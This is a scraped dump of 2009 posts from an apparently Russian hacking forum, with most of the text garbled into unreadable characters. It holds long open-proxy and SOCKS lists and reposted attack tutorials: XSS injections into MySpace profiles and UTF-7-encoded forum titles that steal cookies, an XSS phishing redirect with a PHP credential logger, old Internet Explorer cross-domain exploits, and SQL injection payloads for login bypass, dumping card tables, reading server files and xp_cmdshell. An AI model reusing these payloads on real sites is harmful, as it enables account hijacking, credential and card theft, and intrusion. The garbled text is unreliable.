planetx.scs.cs.nyu.edu:3128

HTTP ��

mybb@mybb.ru (Stemp-Admin) — Sat, 20 Jun 2009 02:14:13 +0400

60.2.93.11:80
58.22.101.251:80
12.47.164.114:8888
213.134.144.134:8080
202.168.193.131:80
200.140.78.67:3128
203.73.180.16:3128
201.229.208.2:80
222.184.56.3:80
200.62.136.138:3128
200.41.60.135:3128
189.11.171.26:3128
202.57.163.72:3128
210.86.181.202:80
201.229.208.002:80
201.229.208.002:80
122.224.97.85:3128
61.220.102.102:3128
60.6.205.20:808
222.223.127.130:808
203.149.32.30:8080
60.217.80.36:8080
202.151.177.175:3128
218.75.100.114:8080
201.229.208.3:80
59.120.77.147:3128
61.139.73.6:8080
194.226.118.18:3128
123.255.250.5:3128
122.224.171.91:3128
201.229.208.003:80
120.28.64.69:8080
218.14.227.197:3128
203.151.233.143:80
201.86.70.190:3128
201.86.70.190:3128
119.147.23.118:8080
201.229.208.2:80
213.171.255.2:8080
201.30.141.82:3128
201.229.208.003:80
203.160.1.121:80
203.160.1.66:80
203.160.1.94:80
203.160.1.103:80
203.160.1.112:80
203.160.1.75:80
203.160.1.85:80
58.222.254.13:3128
200.94.106.76:8080
121.207.252.139:80
59.18.13.75:80
201.65.121.102:3128
200.19.221.136:443
72.55.191.6:3128
82.204.37.210:80
82.204.37.210:80
220.130.10.171:3128
220.135.212.133:3128
80.88.242.32:9090
212.191.130.227:8080
77.240.82.6:80
213.4.106.164:8080
61.133.196.36:80
60.191.96.90:808
219.93.178.162:3128
219.93.178.162:3128
86.51.34.35:8080
150.165.255.74:3128
167.206.55.215:80
216.129.228.87:8080
204.194.251.15:80
61.133.196.40:80
120.28.64.86:8080
189.74.11.18:8080
211.68.112.69:3128
202.57.48.195:3128
213.23.77.146:80
125.163.84.140:8080
218.94.9.38:3128
125.245.196.194:8080
209.17.190.136:3128
210.82.31.151:80
60.12.190.108:8088
87.236.195.86:3128
212.93.193.82:443
212.93.193.78:443
212.93.193.74:443
212.93.193.83:443
212.93.193.72:443
212.219.86.150:80
62.129.243.66:80
64.22.118.170:81
72.55.191.6:3128
61.7.143.5:3128
189.59.4.138:3128
200.19.221.136:443
200.208.90.194:3128
82.115.28.134:8080
207.35.173.123:3128
121.22.29.183:80
221.239.127.205:3128
201.12.130.34:3128
218.62.91.211:8080
218.28.58.86:3128
201.133.171.213:8080
62.240.183.82:8080
118.98.184.140:8080
121.22.29.181:80
213.81.172.254:3128
59.120.142.229:3128
91.121.107.117:3128
195.57.124.85:80
77.48.103.12:8080
196.5.66.11:80
80.216.132.94:3128
190.65.211.154:8080
200.198.82.211:3128
200.207.89.21:3128
60.218.99.18:8080
86.51.34.33:8080
86.51.34.34:8080
59.126.110.155:3128
222.88.242.189:3128
189.19.229.15:3128
119.70.40.101:8080
140.130.192.2:3128
92.62.113.33:80
221.179.215.169:3128
60.251.132.43:3128
91.142.12.174:8080
91.142.12.62:8080
189.57.63.7:3128
208.77.219.76:80
211.95.176.6:808
203.158.167.152:8080
60.217.68.150:8080
77.108.40.194:8080
212.100.64.41:3128
221.130.193.14:80
221.130.193.14:80
202.71.103.109:3128
93.100.16.90:8080
221.12.165.186:808
210.51.191.4:3128
200.110.172.59:3128
124.106.77.46:3128
213.163.42.138:8080
189.56.150.110:8080
201.65.163.131:80
201.39.183.172:3128
201.75.35.128:3128
201.68.28.14:80
218.97.194.94:80
121.22.29.182:80
122.224.222.134:3128
80.126.22.246:80
121.22.29.180:80
190.216.198.123:8080
59.120.164.148:80
61.247.19.174:8080
195.101.116.12:80
64.66.192.62:80
87.237.228.18:8080
221.203.154.26:8080
64.66.192.62:80
219.134.242.204:3128
196.211.241.2:3128
222.134.58.246:3128
87.204.241.75:8080
218.94.9.38:3128
64.66.192.61:32080
124.30.18.245:3128
66.198.41.11:3128
209.169.132.34:8080
63.162.106.70:80
58.211.186.250:3128
59.18.13.76:80
59.18.13.77:80
59.18.13.78:80
59.18.13.72:80
59.18.13.73:80
59.18.13.74:80
59.18.13.71:80
220.225.28.138:3128
91.202.69.248:80
125.162.90.26:3128
220.227.47.6:8080
140.127.81.85:80
78.38.114.36:80
200.158.140.107:3128
81.114.86.130:3128
91.103.121.18:8080
202.99.29.27:80
121.242.41.67:3128
201.24.133.51:3128
200.207.90.137:3128
200.119.240.115:3128
125.160.61.201:3128

�� HTTP

mybb@mybb.ru (Stemp-Admin) — Sat, 20 Jun 2009 02:13:01 +0400

120.28.64.69:8080
120.28.64.86:8080
121.207.252.139:80
121.22.29.180:80
121.22.29.181:80
121.22.29.182:80
121.22.29.183:80
121.242.41.67:3128
122.224.97.85:3128
139.91.200.198:8080
142.33.100.41:8080
201.229.208.2:80
201.229.208.3:80
202.194.13.157:3128
203.160.1.103:80
203.160.1.112:80
203.160.1.162:554
203.160.1.66:80
203.160.1.75:80
203.160.1.85:80
210.52.15.210:808
212.93.193.74:443
212.93.193.78:443
212.93.193.82:443
212.93.193.83:443
218.241.141.37:8080
218.28.58.86:3128
218.75.100.114:8080
219.101.35.83:3128
219.142.121.37:80
221.239.127.205:3128
222.134.58.246:3128
222.184.56.3:80
58.22.101.251:80
59.56.174.199:808
60.2.93.11:80
60.217.80.36:8080
60.28.252.206:3128
61.133.196.36:80
72.55.191.6:3128
77.240.82.6:80
83.137.26.25:8080
86.51.34.35:8080
134.2.172.252:3124
194.36.10.154:3128
203.178.133.3:3128
120.28.64.69:8080
207.157.9.179:9090
201.229.208.3:80
89.189.85.102:80
120.28.64.86:8080
67.19.148.234:3128
201.229.208.2:80
146.57.249.98:3127
140.112.42.159:3127
86.51.34.34:8080
167.206.55.215:80
86.51.34.33:8080
92.62.113.33:80
138.232.66.194:3124
138.232.66.195:3124
142.150.238.12:3128
142.150.238.13:3124
72.55.191.6:3128
128.233.252.12:3124
128.233.252.11:3127
198.163.152.229:3124
194.42.17.124:3128
194.42.17.123:3124
195.113.161.82:3128
195.113.161.83:3127
193.167.182.132:3128
193.167.182.130:3127
193.167.187.188:3128
193.55.112.41:3128
138.246.99.250:3124
132.187.230.2:3128
141.76.45.18:3127
141.76.45.17:3128
137.226.138.154:3128
137.226.138.156:3128
134.34.246.4:3124
134.2.172.253:3127
141.24.33.192:3128
131.246.191.42:3124
138.246.99.249:3128
130.75.87.84:3124
130.75.87.83:3124
132.252.152.194:3127
131.188.44.101:3127
132.187.230.1:3124
141.24.33.162:3128
147.102.3.101:3128
193.6.20.4:3128
193.6.20.5:3128
130.136.254.21:3127
131.175.17.10:3128
130.136.254.22:3127
131.175.17.9:3128
130.192.157.132:3128
130.192.157.131:3128
133.11.240.56:3128
133.1.16.172:3128
203.178.133.11:3127
150.65.32.68:3128
133.11.240.57:3124
133.1.16.171:3124
143.248.139.56:3124
143.248.139.171:3124
205.138.18.80:8080
80.216.132.94:3128
195.144.24.27:80
77.42.159.251:80
203.160.1.94:80
203.160.1.85:80
203.160.1.112:80
203.160.1.121:80
81.95.178.70:3128
91.74.59.98:3128
189.21.136.84:3128
222.255.28.33:3128
124.30.18.245:3128
200.119.240.115:3128
203.160.1.103:80
196.5.66.11:80
187.11.192.247:3128
213.67.163.24:80
201.27.85.32:3128
189.56.150.110:8080
62.240.183.82:8080
62.129.243.66:80
91.121.107.117:3128
213.81.172.254:3128
203.158.167.152:8080
189.59.4.138:3128
200.198.82.211:3128
94.52.80.125:3128
213.128.216.241:3128
87.248.168.73:9090
209.239.114.14:3128
200.214.61.210:80
212.56.203.196:3128
189.2.157.162:3128
220.111.137.188:8080
121.246.161.191:8080
92.46.175.10:3128
130.37.198.244:3128
195.116.60.34:3124
194.29.178.13:3124
156.17.10.52:3128
194.29.178.14:3128
193.136.191.26:3127
136.145.115.196:3128
136.145.115.194:3128
192.33.90.68:3128
192.33.90.66:3128
192.33.210.16:3128
192.41.135.219:3128
192.33.210.17:3128
130.92.70.251:3128
192.33.90.69:3127
192.42.43.22:3128
140.109.17.180:3128
134.151.255.180:3128
130.88.203.27:3124
128.112.139.80:3127
169.229.50.7:3128
203.160.1.75:80
68.105.2.18:9090
203.160.1.66:80
121.22.29.181:80
60.2.93.11:80
58.22.101.251:80
121.22.29.180:80
121.22.29.182:80
218.5.18.131:3128
122.224.97.85:3128
220.225.28.138:3128
218.14.227.197:3128
222.134.58.246:3128
61.143.101.38:8000
119.147.23.118:8080
60.217.80.36:8080
87.120.57.8:8080
59.56.174.199:808
128.252.19.21:3127
193.167.182.132:3127
193.167.182.130:3124
128.232.103.201:3124
74.193.177.25:65442
201.45.223.3:6588
138.238.250.155:3124
66.253.186.239:9090
165.230.49.114:3128
128.238.88.64:3128
193.55.112.41:3124
134.2.172.252:3127
193.55.112.41:3127
60.6.205.20:808
221.11.27.110:8080
60.251.9.73:3128
118.98.169.18:3128
91.103.121.70:8080
213.136.8.87:3128
85.15.216.65:8080
124.30.203.4:3128
61.7.219.213:8080
201.30.141.82:3128
211.68.112.69:3128
61.16.247.37:3128
220.90.215.13:8080
129.24.211.26:3128
194.36.10.154:3124
194.36.10.154:3127
194.36.10.156:3124
198.163.152.229:3127
198.163.152.229:3128
61.133.196.36:80
133.11.240.56:3124
133.11.240.57:3127

Good HTTP proxies:

mybb@mybb.ru (Stemp-Admin) — Sat, 20 Jun 2009 02:11:45 +0400

88.191.14.132:3128
201.82.226.107:3128
148.233.159.57:80
203.158.221.226:443
216.139.170.42:80
24.155.96.93:80
121.241.33.149:3128
189.112.176.33:3128
221.132.112.94:80
200.91.228.178:8080
200.51.41.29:8080
202.75.20.218:80
221.132.112.114:8080
195.90.171.94:80
200.223.166.246:8080
202.77.98.19:8080
200.142.126.126:80
221.132.112.94:80
58.242.42.91:3128
58.242.42.91:3128
216.139.170.55:80
216.139.170.42:80
60.254.188.10:80
213.134.144.134:8080
67.69.254.250:80
66.198.41.11:3128
213.134.144.134:8080
66.198.41.11:3128
85.185.186.83:80
67.69.254.250:80

Good Socks 4 proxies:
61.139.67.177:1080
82.235.70.243:30433
71.193.22.17:58987
71.237.178.4:60029
67.80.211.82:3103
66.31.114.247:23624

Good Socks 5 proxies:
82.235.70.243:30433
71.193.22.17:58987
70.231.248.61:19101
75.59.148.139:42655
76.116.155.73:12823

��

mybb@mybb.ru (Stemp-Admin) — Fri, 19 Jun 2009 03:10:41 +0400

http://ifotki.info/ �� , �� , �� ....

�� XSS ��: MySpace 0day ��

mybb@mybb.ru (Stemp-Admin) — Thu, 18 Jun 2009 01:50:34 +0400

��

�� - �� , �� , �� , �� . �� /�� - �� , �� , �� , � �� .

XSS ��

�� -�� , �� , �� , �� , �� . �� - �� , �� < � > � � �� , �� . �� <body onload="alert('XSS');"> �� , � body onload="alert('XSS');" �� .

�� - �� . �� - �� .

MySpace 0day ��

�� XSS �� MySpace.

�� . � �� - ��, �� .�. �� , �� . � �� :

<tr id=MusicRow>
<td valign="top" align="left" width="100" bgcolor="#b1d0f0">
<span class="lightbluetext8">Music</span>
</td>
<td id="ProfileMusic" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">Music Goes Here!</td>
</tr>
<script language="JavaScript">highlightInterests("ProfileMusic");</script>
<tr id=FilmsRow>
<td valign="top" align="left" width="100" bgcolor="#b1d0f0">
<span class="lightbluetext8">Films</span>
</td>
<td id="ProfileFilms" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">Films Go Here!</td>
</tr>

��, �� :

</span>
</td>
<td id="ProfileMusic" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">Music Goes Here!</td>
</tr>
<script language="JavaScript">highlightInterests("ProfileMusic"); </script>
<tr id=FilmsRow>
<td valign="top" align="left" width="100" bgcolor="#b1d0f0">
<span class="lightbluetext8">Films</span>
</td>
<td id="ProfileFilms" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">

�� , �� , �� .

�� -�� :

<tr id=MusicRow>
<td valign="top" align="left" width="100" bgcolor="#b1d0f0">
<span class="lightbluetext8">Music</span>
</td>
<td id="ProfileMusic" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">
<body test='
</td>
</tr>
<script language="JavaScript">highlightInterests("ProfileMusic"); </script>
<tr id=FilmsRow><td valign="top" align="left" width="100" bgcolor="#b1d0f0">
<span class="lightbluetext8">Films</span>
</td>
<td id="ProfileFilms" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">
'>Films Go Here!
</td></tr>

�� , �� text �� body! �� - �� !

��, �� Films ��:

' onLoad="alert('XSS');"></body>

�� .

�� MySpace. � ��, �� , �� .

�� UTF-7 � �� XSS

mybb@mybb.ru (Stemp-Admin) — Thu, 18 Jun 2009 01:49:32 +0400

��

�� , �� XSS - �� . �� < >, � �� " ' & %. �� ASCII �� 128, � ��, � �� , �� ASCII-�� .

�� . �� , �� UTF-7 . �� x � ��, �� (� �� ). � �� + - ! � �� . �� +XXX- �� XXX - �� . ��, ��, �� < �� +ADw-, �� > �� +AD4-.

��, �� + �� , �� (� �� HTML-��) � �� UTF-7 �� .

�� , �� , �� , �� HTML-��, �� XSS ��. �� "��" �� , �� UTF-7, �� XSS �� .

�� , �� UTF-7 ��. �� IE6. �� , � �� , �� , � �� .

�� . �� , �� Content-Type �� HTTP �� . �� , �� . ��, �� Content-Type: text/html; charset=windows-1251 �� , �� - win-1251.

��, �� HTML �� <meta>, � �� , �� . �� HTTP �� . �� , �� , �� (�� <meta>) �� . �� , �� <meta> �� Content-Type �� , �� IE �� . �� <meta http-equiv="Content-Type" content="text/html; charset=ISO8859-1"> �� ISO8859-1, �� HTTP �� Content-Type: text/html; charset=windows-1251.

�� , �� <meta http-equiv="Content-Type"> �� , �� . �� (��).

� �� , �� /�� .

�� , �� HTTP, �� , �� . �� (��/��/��), �� . � �� , �� , � �� , �� .

� �� , �� HTML � �� . �� - �� (�� , �� , �� ). �� <font>�� </font> �� windows-1251, � �� <font title= "�� ">Happy birthday to you</font> - ��. �� , �� 4 �� HTML-��. �� , �� .

�� , �� , �� HTML ��, � �� . �� , �� , � �� , �� , �� UTF-7, �� , �� UTF-7, �� , � �� . �� , �� , �� (�� , �� ), �� (��).
��

� �� , �� XSS �� UTF-7.

�� HTML-�� - vBulletin(�� 3.0.7, �� ):

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html dir="ltr" lang="en">
<head>
<meta name="description" content="Post your question about installing or upgrading to vBulletin 3. Be sure to search, and check the installation docs before you post!" />
<title>vBulletin Community Forum - vBulletin 3 Installation and Upgrades</title>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<meta name="generator" content="vBulletin 3.0.7" />
<meta name="keywords" content="vbulletin,forum,bbs,discussion,jelsoft,bulletin board" />
<meta name="description" content="This is a discussion forum powered by vBulletin. To find out about vBulletin, go to http://www.somesite.com/ ." /> ....

�� HTTP Content-Type �� (��, � ��-��, �� ), �� .

�� , � �� ISO-8859-1, �� . �� , �� <title>, �� , �� (�� ). � �� , �� , �� title �� UTF-7, �� . �� , �� XSS ��, �� , �� UTF-7 � �� .

�� , �� <title>, � �� <script>. � ��, �� : </title><script>alert(document.cookie);</script> , �� UTF-7 �� :

+ADw-/title+AD4APA-script+AD4-alert(document.cookie)+ADsAPA-/script+AD4-

�� , �� , � �� . � �� , �� <title> �� :

<title>vBulletin Community Forum - +ADw-/title+AD4APA-script+AD4-alert(document.cookie)+ADsAPA-/script+AD4-</title>

�� HTML-�� (�� , �� , �� IE � �� ). �� , �� , � �� CGI-�� , �� .

�� , �� HTML-�� , �� , �� . ��, �� +ADw-/title+AD4APA-script+AD4-alert(document.cookie)+ADsAPA-/script+AD4-+ADw-comment+AD4-�� , �� , �� <comment>, �� (�� ). �� , �� , �� UTF-7, �� , �� , �� , �, ��, �� . �� , �� , �� HTML-�� UTF-7, � �� HTML (�� ).

�� vBulletin 3.*, �� , �� vBulletin 2.* ,IPB 1.*, IPB 2.*, Phorum, � ��. �� , �� <title>, � �� title�� .

�� , �� HTTP Content-Type, �� <meta http-equiv="Content-Type">, �� , �� . � �� - �� . �� XSS �� - �� ( IE + �� ).

�� phpBB, �� , ��, �� , �� <meta http-equiv="Content-Type"> �� <title>:

....<meta http-equiv="expires" content="0">
<meta name="page-type" content="Software-Download">
<meta name="robots" content="INDEX,FOLLOW">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>MySQL Problem :: phpBB.de</title>
<link rel="stylesheet" href="/css.css" type="text/css">
<style type="text/css">....

�� , ��, �� . �� . �� BBS, � �� , �� , ��, ��-�� .�. � �� UTF-7, � �� XSS � �� .

� ��, �� . �� , �� , �� . ��-�� , �� (�� , �� ) �� , � �� HTTP Content-Type, �� . � �� , �� HTML �� UTF-7 ��, �� , � �� 4kb ��, �� . �� , �� , �� , �� ASCII-�� 127, � �� 7-�� UTF-7, � �� .

��, �� . �� , �� , � �� 4kb, �� , �� CSS � ��, � �� . �� , �� , �� , �� UTF-7 ��.

CSS �� magov.ru

mybb@mybb.ru (Stemp-Admin) — Thu, 18 Jun 2009 01:48:53 +0400

� �� , �� xss ��. � �� -��, �� xss. � �� . � �� -��, �� , �� . �� .

� �� , �� , �� . � �� ? �� xss ��, �.�. �� . �� , �� Cross site scripting ��. �� , � �� .

�� , �� . �� . �� -�� , �� . �� . �� , � �� php. �� . � �� . �� , �� , �� (��, �� ). �.�. �� , �� . �� .

�� . �� , �� /�� . �� (�� ) �� . �� . �� , �� . ��, � �� . � ��, �� , �� xss. ��, �� , �� ? �� , �� . �� , �� php ��:

�� , �� . �� -�� xss ��. �� . �� html ��, � �� input �� value. �� , �.�. �� (�� ), �� input � �� (�� php):

�><h1>stuped_lamer
(�� , �� )

�� > �� , � �� . � �� <h1>stuped_lamer.

��! XSS �� , ��, �� . �� . �� . �� , �� -�� (�� !) �� . �� . �� . �� , �� .

�� , �� - � �� , �� (�� !) �� . �� , �� . ��, �� , �� , �� . �� . �� , �� -�� . �� , �� -�� =)) � �� , �� . �� . �.�. �� http://domain.com �� http://domain.com, � �� , �� , �� .

�� . � ��, �� , �� , �.�. �� . �� login.php. �� html �� , �� name � pass � �� . �� submit. ��, �� http://��_��/login.php?pass=&login=�> <h1>Hello_admin&submit - �� , �� login. ��, �� , �� . �� , �� .

�� . ��. � �� . � �� , �� get, �� , � �� , �� . �� , �� : �� , �� , �� . �� avtorizacia, �.�. �� <a target=�avtorizacia� href=http://my_sait/page.php>��</a> - �� http://my_sait/page.php �� , � �� . �.�. �� , �� , �� . �� (�� ). �� , �� , �� . �� (�� , � �� ), � �� 404.

�� :

�>http://��_��/login.php?pass=&login=�> <script>window.location.href='/index.php';</script>
<script>window.location.href='http://��_��_��/login.php ' target=avtorizacia;</script>
<script>window.location.href='http://super_sait.com';</script>&submit

�� holm.ru �� : �� login.php � �� , �� , �� - save.php �� :

<?php
$open=fopen(lamer.html, �a+�);
fwrite($open, ��: $login ��: $pass <hr>�);
echo �� /�� :
?>

�� . �� . � �� , �� . ��, �� - �� , ��, �� , � �� . � �� php, �� , �� .�. �� =)). �� , � �� php �� . �� face �� . ��, �� ? �� !

�� . �� , �� . �� . �� , �� xss�� =))

��

�� , �� . �� , �� . �� html ��. � php �� :

$login = htmlspecialchars($login);

�� :

$login=strip_tags($login);

Cross Domain Scripting

mybb@mybb.ru (Stemp-Admin) — Thu, 18 Jun 2009 01:47:16 +0400

�� Cross Domain Scripting?

�� Cross-Domain Scripting (CDS) �� aka Internet Explorer (IE). ��, �.�. �� , �� -��. �� , �� , �� CDS �� , �.�., ��, �� IE, �� Opera �� .

� �� CDS �� . � �� . �� - �� , � �� , - �� (security boundary), �� .

� �� -�� , �� (��, �� .�.) �� , �.�. �� . �� , ��, ��, �� Mail.Ru �� , �� . �� :)! �� , �� Windows � �� , �� , � �� , �� ! �� cross-domain ��.

� �� (�� ) �� (� �� !) �� Microsoft �� . �� , �� , �� :) � �� -��, - �� .

�� Cross-Domain Scripting? � �� , �.�. �� - �� , �� , � �� . �� HTML � Java �� , �� (��, �� ) � �� .

�� cross-domain scripting� �� cross site scripting� (XSS). ��, �� , �� , - ��, �� CDS �� Java-�� . ��, �� , �� :

��-��, �� XSS �� . � �� , �� CDS � �� + �� .

��-��, �� XSS �� , �� , �, �� , �� , �� . �� CDS �� (�� ), � �� .

�� , �� XSS �� , �� CDS. �� , �� , �� (�� .�.), �� , � �� CDS �� , � �� , �� .

�� XSS �� Antichat.Ru.

�� ?

�� ? �� , �� , �� -�� . � ��, �� , �� , �� .

�� -�� . �� :

1.�� -�� ;

2.�� .

�� .

� �� -�� Java. ��, ��, �� -��, �� , �� . �� -�� Java, �� , �� , �� .�. �� , � �� -�� : �� /�� , �� .�.

�� -�� , � �� . �� , �� , �� , �� -�� . �� , �� , �� , �� . �� , �� , �� ! �� , �� , �� , �� Mail.Ru, �� . �� !

� ��, � �� ;), �� , � �� ! �� , �� , �� Java �� .�. ��-�� -�� . �� (�� 1).

�� . �� , �� ? ��! �� ! � �� -�� -��, �� , � �� , �� . �� ActiveX �� Microsoft. �� ActiveX �� , �� , �� -�� . ��, �� -�� Windows (*.chm) �� HTML Help ActiveX ��. �� ? �� ActiveX �� ! �� , �� (��, �� ) �� -��. �� . � �� ActiveX �� , �� , �� -�� .�. �.�. �� ! ��, �� , �� ActiveX �� Java ��. �� (�� cmd.exe � �� ) �� . � �� CDS �� ActiveX ��. �� (�� 2).

�� CDS �� . ��, �� . ��, �� 2004 �� Cross-Cookie �� (http://www.westpoint.ltd.uk/advisories/wp-04-0001.txt). �� (��/��) � �� . �� , �� : IE, Mozilla, Opera, Konqueror.
�.�. CDS �� (�� ).

�� CDS

�� CDS ��. �� Internet Explorer � �� Java �� . �� .

�� 1. Similar Method Name Redirection Cross Domain Vulnerability � CAN-2004-0727 (MS04-038)

�� 2004 �� -�� IE (1-�� CDS �� ).

�� . �� , �� (�� ), �� location.href �� location.assign(). ��, �� Java �� Mail.Ru � �� . �� (��) �� location.assign() �� , �� (�� -�� ). � �� Java �� , �� ! �� :

w=window.open("j�vascript:setInterval(function(){try{x=opener.location.href;}catch(e){location.assign('j�vascript:alert(document.cookie)');window.close();}},100)");
w.location.assign=location.assign;
location.href="http://localhost";

�� , �� (� �� localhost) � ��(��) ��. �� location.assign() � �� (localhost). �� , � �� , �� assign() �� J�va �� (��-�� ) � �� . � �� localhost �� d�cument.cookie.

�� Microsoft �� (�� ) � �� . �� , �� Active scripting. �� : http://greyhatsecurity.org/similarmetho … ssion.htm.

�� 2. DHTML Editing Component ActiveX Control Cross Domain Vulnerability CAN-2004-1319 (MS05-013)

�� , �� . �� 2-�� CDS �� , �.�. �� (DHTML ActiveX) �� . �� :

1.�� DHTML ActiveX. �� .

2.�� ActiveX �� (�� ). �� DHTML ActiveX �� .

exploit.DOM.S�ript.execS�ript("window.name="new";open("http://localhost","new");");

3.�� HTML � Java ��. �� . �� :)!

exploit.DOM.S�ript.execS�ript("alert(document.cookie)");

�� ? � �� :

��-��, �� ActiveX �� , �� !

��-��, �� DHTML ActiveX �� Ѩ � �� ! ��: ��? �� ActiveX ��

��, �� , �� ActiveX. �� : http://greyhatsecurity.org/abusiveparen … ssion.htm.

�� ?

�� . �.�. �� (�� ) �� , �� . �� . �� , �� , �� .

1.�� -��.

�� CDS �� -��, �� . �� , �� , �� , �� .�. �� . � �� XSS �� .

2.�� .

�� (�� Microsoft:)) � �� (��). �� , �� , �� J (�� , �� ). ��, �� Microsoft, � �� , �� .

3.�� ActiveX � Active Scripting.

�� ActiveX � �� Java �� VBS ��. �� CDS ��, �� . �� CDS �� ActiveX �� Active Scripting � � �� !
4.�� .

�� , �� , �� . �� (� �� ) �� . �� cmd.exe � �� :)!

�� Cross-Domain Scripting!

��.

�� , �� Cross-Domain Scripting. ��, �� , �� : �� Cross-Domain Scripting � � �� ? ��, ��!�, � �� CDS �� IE:). � ��, �� !

SQL Injection/�� MySQL

mybb@mybb.ru (Stemp-Admin) — Thu, 18 Jun 2009 01:45:31 +0400

� �� -�� -�� ? �� , �� =). �� SQL Injection.

�� 60% ��, �� , �� , �� . � �� SQL Injection ��. �� , �� , �� .

�� (��, �� -�� -��) �� , � �� ('). ��

Microsoft OLE DB Provider for ODBC Drivers (0x8004CC14)
[Microdoft][ODBC SQL
Server Driver][SQL Server][Unclosed
quotation mark before the character
string ")'.
/default.asp, line 239

�� -�� , �� .

�� , �� SQL-�� . �� asp-
��, �� sql injection:

var sql = "select * from users where
username = '" + username + "' and
password = '" + password + "'";

�� , �� username=hacker � password=qwerty, �� asp-�� SQL- ��

select * from users where username='hacker' and password='qwerty'

�� hacker', �� :

select * from users where username='qwerty'' and password='qwerty'

�� SQL �� , �� . �� : �� , �.�. �� "and password='qwerty'". �� SQL �� , � �� . � �� SQL �� (--), � ��, �� , �� ; �.�. �� asp'a �� "hacker", �� :

hacker'; --

�� , �� . �� hacker �� username; �� , �� ; � �� , �� .

��
��, �� , �� , �� . �� , �� . �� , �� username'a � �� :

"hacker'; show databases; --" (�� )

�� , ��-�� :

mysql> show databases;

+----------+
| Database |
+----------+
| MYSQL |
| TEST |
| hacker |
+----------+>

3 rows in set (0.00 sec)

�� , �� . � ��, �� , �� , �� : � �� SQL � �� , �� . ��-�� .

�� , �� . �� , � �� username ��:

"hacker'; use mysql; show tables; -- "
"hacker'; use test; show tables; -- "
"hacker'; use voy; show tables; -- "

�� use � �� SQL �� , � �� show tables �� .

��
��, �� , �� . �� username ��:

"hacker'; select * from table1; -- " (�� table1 - �� )

� �� .
� �� , �� SQL - �� . �� , �� - �� .

�� -�� . �� . �� , �� . �� : � �� username ��:

"hacker'; create table dead_gibbon (tab1 varchar(200), tab2 varchar(200), tab3 varchar(200));

�� . �� : �� "tab1 varchar(200)" ��, �� tab1 � �� 200. ��
"hacker'; load data infile "/../../../../boot.ini" into table dead_gibbon; -- "
� ��, �� :
"hacker'; select * from dead_gibbon; -- "

��, �� , �� , �� , �� .

��
�� , �� . �� SQL-�� Microsoft. �� MsSQL �� . ��

exec master..xp_cmdshell 'dir'

� �� . �� ! �� . ��:

exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEMCurrentControlSetServiceslanmanserverparameters',
'nullsessionshares';

�� , � �� , �� , �� :

xp_regaddmultistring (�� )
xp_regdeletekey (�� )
xp_regdeletevalue (�� )
xp_regread (�� )
xp_regremovemultistring (�� )
xp_regwrite (�� )

�� . �� .

��
��, �� SQL-injection ��, �� , �� . �� SQL �� , �� . �� - �� ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz1234567890, � �� SQL "select, use, drop, insert � �.�.

�� , �� SQL-injection ��. �� (��, �� ";" � "'") �� . �� -�� , �� +char(0x��_��)+. �� :

select user from user where char(0x27)+user+char(0x27)=char(0x27)+char(0x27);

�� :

select user from user where 'user'='';

��, � ��, �� . �� , ��, �� - SQL �� , � ��, � ��- ��, � ��... �� ? �� - �� , �� .

� �� : �� SQL injection �� , �� -�� -�� , �� .

�� http://cyberpunks.h10.ru/

�� SQL��

mybb@mybb.ru (Stemp-Admin) — Thu, 18 Jun 2009 01:44:56 +0400

SQL Injection howto

�� , �� -��. �� , ��, �� , � �� - �� . �� , � ��, �� - �� . �� . � �� -�� , �� .

��, �� - �� , �� -�� SQL injection. �� , �� SQL, ��, ��-��, ��. �� .

�� SQL

�� SQL (Structured Query Language) �� -�� . �� . �� , �� , �� .�. �� . �� SQL �� (��). �� , ��, � �� , �� , �� .

�� SQL �� , �� - �� -�� cgi-�� , �� SQL.

�� - �� , �� . �� . �� - �� , �� . �� . �� :

cc_type, cc_number, cc_holder - �� .

�� - �� .

Visa, 123, Agent Smith - �� .

�� SQL �� , �� . �� :

SELECT - �� .

INSERT - �� .

UPDATE - �� .

DELETE - �� .

�� SQL-�� :

SELECT cc_number, cc_holder FROM cc_table WHERE cc_type='visa'

�� FROM �� , � �� . �� WHERE �� , ��, �� . �� cc_table ��, � �� cc_type �� 'visa'. ��, �� , �� , � �� cc_number � cc_holder.

�� WHERE �� , �� :

WHERE cc_type='visa' AND cc_number=1234 OR cc_number=4321

�� , �� INSERT. �� :

INSERT INTO cc_table VALUES ('amex', 12345, 'Neo')

�� cc_table �� , � �� cc_type �� 'amex', cc_number - 12345, cc_holder - 'Neo'.

�� UPDATE:

UPDATE cc_table SET cc_number=12345 WHERE cc_holder='Agent Smith'

�� cc_table. �� cc_holder �� 'Agent Smith', �� cc_number �� 12345.

� �� DELETE:

DELETE FROM cc_table WHERE cc_type='visa'

�� , �� cc_type �� 'visa'.

�� SQL ��. �� . ��, �� -��: SQL injection.

SQL injection

�� SQL injection �� , �� -�� , �� , �� SQL-�� . � ��, � �� -��, �� , �� SQL-�� , � �� , �� .�. � �.�.

�� . ��, �� -�� , �� , �� .�. �� SQL-��, �� :

SELECT * FROM clients WHERE login='$login' AND password='$password'

� �� , �� .

��, �� ($login � $password), �� web-�� SQL-��. �� , �� SQL-�� , � �� clients, �� . � ��, �� : � �� : "nobody' OR ''='", � � �� "nopassword' OR ''='". � �� :

SELECT * FROM clients WHERE login='nobody' OR ''='' AND password='nopassword' OR ''=''

� �� SQL-�� clients, �.�. login='nobody' OR ''='' � password='nopassword' OR ''='' �� . �� .

�� , �� , �� SQL injection. �� , �� , �� -�� SQL-��.

UNION

� �� , �� clients. �� . ��, � �� clients �� - ��, �� .�. �� , ��, cards. ��, �� , �� :

SELECT * FROM clients WHERE login='$login' AND password='$password'

�� SQL, �� UNION. UNION �� :

SELECT smth FROM table1 UNION SELECT smth FROM table2

�� UNION, �� SELECT, �� cards. �� -�� :

' UNION SELECT * FROM cards WHERE ''='

� �� :

SELECT * FROM clients WHERE login='nologin' AND password='nopassword' UNION SELECT * FROM cards WHERE ''=''

